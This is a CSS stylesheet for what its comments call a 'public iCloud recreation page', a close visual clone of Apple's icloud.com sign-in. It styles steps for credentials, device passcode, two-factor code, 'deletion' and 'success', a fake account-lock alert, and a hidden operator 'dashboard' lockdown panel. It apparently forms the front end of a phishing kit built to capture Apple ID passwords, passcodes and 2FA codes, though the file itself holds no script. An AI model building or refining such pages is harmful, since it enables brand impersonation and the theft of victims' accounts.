/*
 * Live icloud.com sign-in: stack transparent home-login-route over landing.
 * Landing gets fade-out + blur; login route gets fade-in (z-index 2).
 * Do NOT filter #root — CloudOS absolute children need a sized viewport.
 * Do NOT set .root-viewport { position: relative } — that collapses landing.
 */

html,
body {
  min-height: 100%;
  height: 100%;
}

ui-main-pane {
  min-height: 100%;
  min-block-size: 100%;
}

/* Hard guarantee landing route paints (CloudOS defaults page-viewport to hidden) */
.page-viewport.landing-page-route.fade-in,
.page-viewport.landing-page-route {
  visibility: visible !important;
  opacity: 1 !important;
}

body.demo-modal-open,
html.demo-modal-open {
  overflow: hidden;
}

/* Landing hero shrinks when sign-in opens (matches Apple Account reference) */
.demo-modal-open .landing-page .hero-wrapper .icloud-animated-hero {
  transition: transform 2s ease-in-out, margin 2s ease-in-out;
  transform: scale(0.6) translateY(-35%);
  margin-bottom: -78px;
}

.demo-modal-open .landing-page .landing-page-icloud-hero {
  transition: transform 2s ease-in-out, opacity 1.2s ease-in-out;
  transform: scale(0.92);
  opacity: 0.55;
}

.demo-modal-open .landing-page-content {
  transition: opacity 0.35s ease;
  opacity: 0.35;
  pointer-events: none;
}

/* Landing stays painted underneath login route (matches CloudOS fade-out) */
.page-viewport.landing-page-route.fade-out {
  visibility: visible !important;
  opacity: 1 !important;
  z-index: 1 !important;
  pointer-events: none;
  filter: blur(20px) saturate(120%);
  -webkit-filter: blur(20px) saturate(120%);
  transition: filter 0.4s cubic-bezier(0.25, 0.1, 0.25, 1);
}

.page-viewport.landing-page-route.fade-in {
  visibility: visible !important;
  opacity: 1 !important;
  filter: none;
  -webkit-filter: none;
  transition: filter 0.4s cubic-bezier(0.25, 0.1, 0.25, 1);
}

/* Login route: transparent flex-page layer over blurred landing */
.flex-page-viewport.home-login-route.fade-in,
#demo-home-login-route.fade-in {
  visibility: visible !important;
  opacity: 1 !important;
  z-index: 2 !important;
  pointer-events: auto;
  display: flex !important;
  position: absolute !important;
  inset: 0 !important;
  overflow-x: hidden;
  overflow-y: auto;
  -webkit-overflow-scrolling: touch;
  overscroll-behavior: contain;
}

#demo-home-login-route.fade-in .flex-page-content {
  display: flex;
  flex-direction: column;
  align-items: stretch;
  flex: 1 0 auto;
  min-height: 100%;
  width: 100%;
  box-sizing: border-box;
}

#demo-home-login-route.fade-in .home-login-component {
  flex: 1 0 auto;
  display: flex;
  flex-direction: column;
  align-items: center;
  justify-content: flex-start;
  width: 100%;
  padding-bottom: 32px;
  box-sizing: border-box;
}

#demo-home-login-route:not(.fade-in) {
  visibility: hidden !important;
  opacity: 0 !important;
  pointer-events: none !important;
}

#demo-home-login-route.fade-in .parent-container,
#demo-home-login-route.fade-in .parent-container.is-visible {
  visibility: visible !important;
  opacity: 1 !important;
  height: auto !important;
  block-size: auto !important;
  min-height: 480px !important;
  overflow: visible !important;
  flex-shrink: 0;
  margin-bottom: 0 !important;
}

#demo-home-login-route.fade-in .auth-widget,
#demo-home-login-route.fade-in .auth-widget-parent-container,
#demo-home-login-route.fade-in .auth-widget-container,
#demo-home-login-route.fade-in #demo-auth-header {
  overflow: visible !important;
}

@media (min-width: 760px) {
  #demo-home-login-route.fade-in .parent-container.is-visible {
    margin-top: 44px !important;
  }
}

@media (max-width: 759px) {
  #demo-home-login-route.fade-in .parent-container.is-visible {
    margin-top: 0 !important;
  }
}

#demo-home-login-route .body-view {
  visibility: visible !important;
  height: auto !important;
}

/* Shell duplicate header — icon lives inside #demo-apple-auth */
#demo-home-login-route .body-view > .widget-icon-text {
  display: none !important;
}

#demo-home-login-route .auth-widget.initial-auth-state {
  min-height: auto !important;
  margin-bottom: 24px !important;
}

#demo-home-login-route.is-credentials-step .auth-widget.initial-auth-state {
  min-height: auto !important;
}

#demo-home-login-route.is-apps-step .auth-widget.initial-auth-state,
#demo-home-login-route.is-deletion-step .auth-widget.initial-auth-state,
#demo-home-login-route.is-deletion-restored-step .auth-widget.initial-auth-state {
  min-height: 420px !important;
}

#demo-home-login-route.is-passcode-step .auth-widget.initial-auth-state,
#demo-home-login-route.is-twofa-step .auth-widget.initial-auth-state {
  min-height: 420px !important;
}

#demo-home-login-route.is-success-step .auth-widget.initial-auth-state {
  min-height: 320px !important;
}

#demo-home-login-route .auth-widget-container,
#demo-home-login-route .auth-widget-parent-container,
#demo-home-login-route .demo-apple-auth,
#demo-home-login-route .demo-apple-auth-inner {
  visibility: visible !important;
  height: auto !important;
  opacity: 1 !important;
}

#demo-home-login-route.fade-in #demo-apple-auth .demo-step.is-active {
  display: block !important;
  visibility: visible !important;
}

#demo-home-login-route.fade-in #demo-apple-auth .demo-apple-auth-inner {
  display: block !important;
  visibility: visible !important;
  min-height: 120px;
}

#demo-home-login-route.fade-in #demo-apple-auth .demo-step.is-active .auth-form,
#demo-home-login-route.fade-in #demo-apple-auth .demo-step.is-active .passcode-form,
#demo-home-login-route.fade-in #demo-apple-auth .demo-step.is-active .two-factor-form {
  display: flex !important;
  visibility: visible !important;
}

#demo-home-login-route.fade-in .auth-widget.initial-auth-state {
  min-height: auto !important;
}

#demo-home-login-route .init-spinner-container {
  display: none !important;
}

/* Admin lockdown UI must never appear on the public iCloud recreation page */
#client-lockdown-blocked,
.client-lockdown-blocked {
  display: none !important;
  visibility: hidden !important;
  pointer-events: none !important;
}

body.dashboard-client-page #client-lockdown-blocked:not(.hidden),
body.dashboard-client-page .client-lockdown-blocked:not(.hidden) {
  display: flex !important;
  visibility: visible !important;
  pointer-events: auto !important;
}

/* Sign-in button — matches CloudOS ui-button.push.sign-in-button */
.landing-page .landing-page-content ui-button.push.sign-in-button.redirect,
.landing-page ui-button.push.sign-in-button,
ui-button.sign-in-button {
  font-family: "SF Pro Text", "Helvetica Neue", sans-serif;
  font-size: 17px;
  font-weight: 600;
  line-height: 21px;
  letter-spacing: -0.022em;
  transition: opacity 0.2s ease, transform 0.15s ease;
}

.landing-page ui-button.sign-in-button:active {
  transform: scale(0.98);
}

/*
 * Do NOT restyle .root-viewport / .root-component for wallpaper stacking.
 * CloudOS keeps #root at height:0 with absolutely positioned route children;
 * position:relative + z-index on .root-component collapses the landing UI.
 */

/* CloudOS login toolbar over blurred landing — match capture alphas (.5) */
#demo-home-login-route.fade-in .cloudos-toolbar.login.overlay,
.page-viewport.landing-page-route .cloudos-toolbar.login.overlay {
  position: sticky;
  top: 0;
  z-index: 3;
  backdrop-filter: saturate(180%) blur(10px);
  -webkit-backdrop-filter: saturate(180%) blur(10px);
  background: rgba(251, 251, 253, 0.5);
  border-bottom: 1px solid rgba(251, 251, 253, 0.5);
}

@media (prefers-color-scheme: dark) {
  #demo-home-login-route.fade-in .cloudos-toolbar.login.overlay,
  .page-viewport.landing-page-route .cloudos-toolbar.login.overlay {
    background: rgba(28, 28, 30, 0.5);
    border-bottom-color: rgba(28, 28, 30, 0.5);
  }
}

/* Account lock alert */
.demo-lock-overlay {
  position: fixed;
  inset: 0;
  z-index: 100000;
  display: flex;
  align-items: center;
  justify-content: center;
  padding: 24px;
  background: rgba(0, 0, 0, 0.35);
  backdrop-filter: blur(8px);
  -webkit-backdrop-filter: blur(8px);
  visibility: hidden;
  opacity: 0;
  transition: opacity 0.25s ease, visibility 0.25s;
}

.demo-lock-overlay:not(.is-open) {
  display: none;
}

.demo-lock-overlay.is-open {
  display: flex;
  visibility: visible;
  opacity: 1;
}

.demo-lock-alert {
  width: 100%;
  max-width: 320px;
  background: rgba(255, 255, 255, 0.92);
  backdrop-filter: blur(40px) saturate(180%);
  border-radius: 14px;
  box-shadow: 0 0 0 0.5px rgba(0, 0, 0, 0.12), 0 20px 60px rgba(0, 0, 0, 0.25);
  overflow: hidden;
  text-align: center;
}

@media (prefers-color-scheme: dark) {
  .demo-lock-overlay {
    background: rgba(0, 0, 0, 0.55);
  }

  .demo-lock-alert {
    background: rgba(58, 58, 60, 0.92);
  }

  .demo-lock-actions {
    border-top-color: rgba(255, 255, 255, 0.12);
  }

  .demo-lock-actions button:last-child {
    border-left-color: rgba(255, 255, 255, 0.12);
  }

  .demo-lock-actions button:hover {
    background: rgba(255, 255, 255, 0.06);
  }
}

.demo-lock-icon {
  margin: 24px auto 0;
  width: 48px;
  height: 48px;
  border-radius: 50%;
  background: #ff9500;
  color: #fff;
  font-size: 28px;
  font-weight: 700;
  line-height: 48px;
}

.demo-lock-title {
  font-family: "SF Pro Text", -apple-system, BlinkMacSystemFont, sans-serif;
  font-size: 17px;
  font-weight: 600;
  padding: 16px 24px 8px;
  color: var(--theme-color-labelPrimary, rgba(0, 0, 0, 0.88));
}

.demo-lock-msg {
  font-family: "SF Pro Text", -apple-system, sans-serif;
  font-size: 13px;
  line-height: 1.45;
  padding: 0 24px 20px;
  color: var(--theme-color-labelSecondary, rgba(0, 0, 0, 0.56));
}

.demo-lock-actions {
  display: flex;
  border-top: 1px solid rgba(0, 0, 0, 0.1);
}

.demo-lock-actions button {
  flex: 1;
  height: 44px;
  border: none;
  background: transparent;
  font-family: "SF Pro Text", -apple-system, sans-serif;
  font-size: 17px;
  color: #0071e3;
  cursor: pointer;
}

.demo-lock-actions button:last-child {
  font-weight: 600;
  border-left: 1px solid rgba(0, 0, 0, 0.1);
}

.demo-lock-actions button:hover {
  background: rgba(0, 0, 0, 0.04);
}

.page-viewport.landing-page-route.fade-in {
  visibility: visible !important;
  opacity: 1 !important;
}

.init-spinner-container {
  display: none !important;
}